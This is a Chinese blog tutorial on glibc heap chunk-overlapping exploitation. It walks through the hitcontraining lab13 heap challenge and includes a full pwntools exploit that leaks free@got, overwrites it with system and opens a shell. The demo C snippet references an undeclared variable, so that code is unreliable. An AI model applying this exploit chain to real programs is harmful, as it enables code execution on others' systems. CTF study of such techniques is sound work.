堆利用之chunk-overlapping


[TOC]

漏洞原理

chunk overlapping的利用条件:

  • 存在堆相关漏洞
  • 可以通过该漏洞控制 chunk header 中的数据,如prev_size或size

eg:

#include <stdio.h>
#include <stdlib.h>

int main(){
        void *chunk1, *chunk;
        chunk1 = malloc(0x10);
        malloc(0x10);
        printf("chunk1:%p\n", chunk1);
        *(long long*)((long long)chunk1 - 0x8) = 0x41;
        free(chunk1);
        chunk = malloc(0x30);
        printf("chunk2:%p\n", chunk2);
        return 0;
}

我们一开始申请了两个chunk:

将chunk1的size域改为0x41:此时chunk1覆盖了chunk2

那么当我们释放chunk1时,该chunk会被挂到0x40中(我的glibc比较高)

当我们在去申请0x30大小的chunk时,该chunk就会被复用,这时我们就可以通过chunk去控制chunk2

例题

hitcontraning_lab13

程序流程非常简单,一个堆管理器:

  • 对于每一个堆,程序会先创建一个大小为0x10的chunk存放堆的size和content_ptr
  • 漏洞在于对堆的edit函数,存在off by one漏洞

我们把存放size;content_ptr的chunk叫做结构体chunk

利用思路:

  • 利用chunk header的复用,通过off by one漏洞去覆盖下一个chunk的size域

创建一个大小为0x18,一个为0x10大小的堆,如下图

通过第一个堆,去覆盖第二个堆的结构体chunk size域为0x41,此时出现了lapping

释放堆2

申请大小为0x30的堆,注意此时content的chunk是包含结构体的chunk的,而content我们是可以修改和输出的,所以我们可以把content_ptr修改为free@got,然后show(1)就可以泄漏free@got的内容,然后我们在edit(1,system)就可以把free@got的内容修改为system的地址;而如果我们在第一个堆的conten开头写上/bin/sh\x00,那么delete(0)时就等同于system(binsh)了

exp:

from pwn import *

context.binary = './heapcreator'
#context.log_level = 'debug'


io = process("./heapcreator")
elf = ELF("./heapcreator")
libc = elf.libc

def cmd(index):
        io.sendafter(b'choice :', str(index).encode())

def create(size, content):
        cmd(1)
        io.sendafter(b'Size of Heap : ', str(size).encode())
        io.sendafter(b'Content of heap:', content)

def edit(index, content):
        cmd(2)
        io.sendafter(b'Index :', str(index).encode())
        io.sendafter(b'Content of heap : ', content)

def show(index):
        cmd(3)
        io.sendafter(b'Index :', str(index).encode())
        io.recvuntil(b'Content : ')
        return io.recvuntil(b'\n', drop=True)

def delete(index):
        cmd(4)
        io.sendafter(b'Index :', str(index).encode())


create(24, b'A')
create(16, b'B')

edit(0, b'/bin/sh\x00' + b'A'*0x10 + b'\x41')
#gdb.attach(io)

delete(1)

payload = p64(0)*3 + p64(0x21) + p64(0x30) + p64(elf.got['free'])
create(48, payload)

free_addr = u64(show(1).ljust(8, b'\x00'))
print("free_addr:", hex(free_addr))

system = free_addr - libc.symbols['free'] + libc.symbols['system']
print("system:", hex(system))

edit(1, p64(system))
delete(0)

io.interactive()

文章作者: XiaozaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaozaYa !
  目录